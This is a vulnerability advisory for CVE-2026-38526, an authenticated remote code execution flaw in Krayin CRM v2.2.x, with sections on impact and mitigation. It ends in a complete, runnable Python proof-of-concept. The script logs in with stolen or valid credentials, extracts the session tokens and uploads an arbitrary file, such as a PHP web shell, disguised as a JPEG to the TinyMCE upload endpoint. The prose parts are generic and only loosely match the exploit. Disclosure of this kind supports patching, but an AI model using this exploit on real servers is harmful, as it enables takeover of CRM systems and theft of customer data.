Overview
The vulnerability identified as CVE-2026-38526 affects Krayin CRM v2.2.x and allows for authenticated remote code execution (RCE). This security flaw enables an attacker with valid user credentials to execute arbitrary code on the server, potentially leading to complete system compromise. Given the sensitive nature of customer relationship management systems, this vulnerability poses significant risks to organizations that rely on Krayin CRM for their operations.
Technical Details
The vulnerability arises from improper validation of user inputs in specific API endpoints within the Krayin CRM application. When a user sends a crafted request, the application fails to sanitize the input adequately, allowing the attacker to inject malicious payloads. This can be exploited through various methods, such as sending specially formatted data in requests to execute system commands or upload arbitrary scripts.
For instance, an attacker might leverage this vulnerability by authenticating as a legitimate user and then sending a request containing a crafted payload that triggers the execution of shell commands on the server. This could lead to unauthorized access to the server’s filesystem or the deployment of malware.
Impact
The consequences of exploiting CVE-2026-38526 can be severe. Successful exploitation can lead to data breaches, unauthorized access to sensitive information, and potentially the complete takeover of the affected system. Organizations may face significant financial losses, reputational damage, and legal ramifications due to compromised customer data and failure to safeguard sensitive information.
Mitigation
To protect against CVE-2026-38526, organizations using Krayin CRM v2.2.x should immediately apply the latest security patches provided by the vendor. Regularly updating software and conducting thorough vulnerability assessments are critical in maintaining a secure environment. Additionally, implementing web application firewalls (WAF) can help filter out malicious traffic and prevent exploitation attempts.
Security professionals should also conduct training sessions for users to recognize potential phishing attempts and encourage the use of strong, unique passwords. Lastly, consider restricting access to sensitive API endpoints based on user roles and implementing logging and monitoring to detect unusual activities that may indicate exploitation attempts.
Proof of Concept (PoC)
# Exploit Title: Krayin CRM v2.2.x - Authenticated Remote Code Execution
# Date: 07/05/2026
# Exploit Author: Diamorphine
# Vendor Homepage: https://krayincrm.com
# Software Link: https://github.com/krayin/laravel-crm
# Version: 2.2.x
# Tested on: Debian
# CVE : CVE-2026-38526
import asyncio
import httpx
from urllib.parse import *
import argparse
from bs4 import BeautifulSoup
import json
async def main(url, user, password, file):
async with httpx.AsyncClient(verify=False) as client:
url_login = urljoin(url, "/admin/login")
upload_url = urljoin(url, "/admin/tinymce/upload")
get_tokens = await client.get(url=url_login)
soup = BeautifulSoup(get_tokens.text, 'html.parser')
_token = soup.find('input').get('value')
login_data = {
"_token": _token,
"email": user,
"password": password
}
login_r = await client.post(url=url_login, data=login_data)
xsrf_token = login_r.cookies.get("XSRF-TOKEN")
headers = {
"X-XSRF-TOKEN": unquote(xsrf_token)
}
with open(file, 'rb') as o_file:
r = await client.post(url=upload_url, files={"file": (o_file.name, o_file, "image/jpeg")}, headers=headers)
if r.status_code == 200:
exploit_url = r.json().get('location')
print(f'[+] File uploaded successfully.nPath to file: {exploit_url}')
else:
print('[-] File not uploaded.')
parser = argparse.ArgumentParser(description="Exploit for CVE-2026-38526, authenticated file upload.")
parser.add_argument('-t', '--target', required=True, help="Target url. E.g. http://127.0.0.1")
parser.add_argument('-u', '--user', required=True, help="Email.")
parser.add_argument('-p', '--password', required=True, help="Password.")
parser.add_argument('-f', '--file', required=True, help="File to upload (/home/user/shell.php).")
args = parser.parse_args()
if __name__ == '__main__':
asyncio.run(main(args.target, args.user, args.password, args.file))